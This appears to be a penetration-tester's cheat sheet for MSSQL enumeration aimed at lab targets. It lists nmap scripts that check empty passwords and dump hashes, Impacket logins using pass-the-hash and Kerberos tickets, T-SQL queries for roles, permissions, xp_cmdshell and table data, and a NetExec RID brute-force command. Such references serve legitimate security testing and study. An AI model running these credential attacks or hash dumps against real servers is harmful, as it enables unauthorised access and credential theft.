MSSQL enumeration maps the database identity, Windows identity, server roles, dangerous features, databases, and domain context.
Network Discovery
Nmap NSE example:
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 TARGET
Discover SQL servers with sqlcmd when Browser is visible:
sqlcmd -L
Connect
Impacket SQL auth:
mssqlclient.py user:Passw0rd!@10.10.10.5 -port 1433
Impacket Windows auth:
mssqlclient.py LAB/user:Passw0rd!@10.10.10.5 -windows-auth
Pass-the-hash:
mssqlclient.py LAB/user@10.10.10.5 -windows-auth -hashes :8846F7EAEE8FB117AD06BDD830B7586C
Kerberos:
KRB5CCNAME=/tmp/cc mssqlclient.py LAB/user@10.10.10.5 -k -no-pass
AES key:
mssqlclient.py LAB/user@10.10.10.5 -k -aesKey HEX_AESKEY
sqlcmd SQL auth:
sqlcmd -S tcp:10.10.10.5,1433 -U user -P pass
sqlcmd Windows Integrated auth:
sqlcmd -S 10.10.10.5 -E
sqlcmd with encryption and trusted lab certificate:
sqlcmd -S 10.10.10.5 -U user -P pass -N -C
sqsh:
sqsh -S 10.129.203.7 -U validuser -P validpassword -h
sqsh -S 10.129.203.7 -U .\\validuser -P validpassword -h
Identity
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT SYSTEM_USER, SUSER_SNAME() AS login, CURRENT_USER AS db_user;
SELECT ORIGINAL_LOGIN() AS original_login, HOST_NAME() AS host_name;
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
Connection transport and auth scheme:
SELECT net_transport, encrypt_option, auth_scheme
FROM sys.dm_exec_connections
WHERE session_id = @@SPID;
Server Context
SELECT @@VERSION;
SELECT @@SERVERNAME;
SELECT SERVERPROPERTY('InstanceName'), SERVERPROPERTY('MachineName'), SERVERPROPERTY('IsClustered');
SELECT SERVERPROPERTY('Edition') AS edition;
Configuration snapshot:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
SELECT name, value_in_use
FROM sys.configurations
WHERE name IN ('Ad Hoc Distributed Queries','xp_cmdshell','Ole Automation Procedures','clr enabled','clr strict security','external scripts enabled','cross db ownership chaining','remote access')
ORDER BY name;
Databases, Tables, Columns
List databases:
SELECT name, state_desc, recovery_model_desc
FROM sys.databases
ORDER BY name;
Old style:
SELECT name FROM master.dbo.sysdatabases;
Use a database:
USE users;
List tables:
SELECT table_name FROM information_schema.tables;
SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES;
Describe columns:
SELECT column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'your_table';
Find non-empty tables quickly:
SELECT s.name AS SchemaName, t.name AS TableName, SUM(p.rows) AS Rows
FROM sys.tables t
JOIN sys.schemas s ON t.schema_id = s.schema_id
JOIN sys.partitions p ON t.object_id = p.object_id
WHERE p.index_id IN (0, 1)
GROUP BY s.name, t.name
ORDER BY Rows DESC;
Dump data:
SELECT TOP 10 * FROM dbo.users;
SELECT * FROM users;
Server Roles And Logins
List server role members:
EXEC sp_helpsrvrolemember;
Role snapshot:
SELECT rp.name AS role_name, m.name AS member
FROM sys.server_role_members rm
JOIN sys.server_principals rp ON rm.role_principal_id = rp.principal_id
JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id
ORDER BY rp.name, m.name;
Sysadmin members:
SELECT r.name AS role, m.name AS member
FROM sys.server_principals r
JOIN sys.server_role_members rm ON r.principal_id = rm.role_principal_id
JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id
WHERE r.name='sysadmin';
Enumerate logins:
SELECT r.name, r.type_desc, r.is_disabled, sl.sysadmin, sl.securityadmin, sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
FROM master.sys.server_principals r
LEFT JOIN master.sys.syslogins sl ON sl.sid = r.sid
WHERE r.type IN ('S','E','X','U','G');
Explicit server permissions for a login:
SELECT perm.permission_name, perm.state_desc, sp.name AS grantee
FROM sys.server_permissions perm
JOIN sys.server_principals sp ON perm.grantee_principal_id = sp.principal_id
WHERE sp.name = 'USERNAME';
Database Roles And Permissions
List database roles for a user:
SELECT dp1.name AS database_user, dp2.name AS database_role
FROM sys.database_role_members drm
JOIN sys.database_principals dp1 ON drm.member_principal_id = dp1.principal_id
JOIN sys.database_principals dp2 ON drm.role_principal_id = dp2.principal_id
WHERE dp1.name = 'sqlsvc';
List explicit database permissions:
SELECT dp.name AS principal_name, dp.type_desc AS principal_type, perm.permission_name, perm.state_desc, perm.class_desc, obj.name AS object_name
FROM sys.database_permissions perm
LEFT JOIN sys.database_principals dp ON perm.grantee_principal_id = dp.principal_id
LEFT JOIN sys.objects obj ON perm.major_id = obj.object_id
WHERE dp.name = 'USERNAME_HERE';
Mapped Windows/domain login:
SELECT sp.name AS login_name, sp.type_desc, sp.default_database_name, sl.sysadmin, sl.securityadmin, sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
FROM sys.server_principals sp
LEFT JOIN sys.syslogins sl ON sp.sid = sl.sid
WHERE sp.name = 'OVERWATCH\sqlsvc';
Domain Context
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT DEFAULT_DOMAIN();
Hex SID for a Windows account:
SELECT sys.fn_varbintohexstr(SUSER_SID('{domain}\\Administrator'));
RID brute with NetExec:
nxc mssql 10.129.181.153 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth
SID conversion helper:
hexs=input("Enter hex sid:")
hexs="".join(c for c in hexs if c.lower() in "0123456789abcdef")
b=bytes.fromhex(hexs)
rev=b[0]
subc=b[1]
ident=int.from_bytes(b[2:8],"big")
subs=[str(int.from_bytes(b[8+4*i:12+4*i],"little")) for i in range(subc)]
print("S-%d-%d%s"%(rev,ident,"".join("-"+s for s in subs)))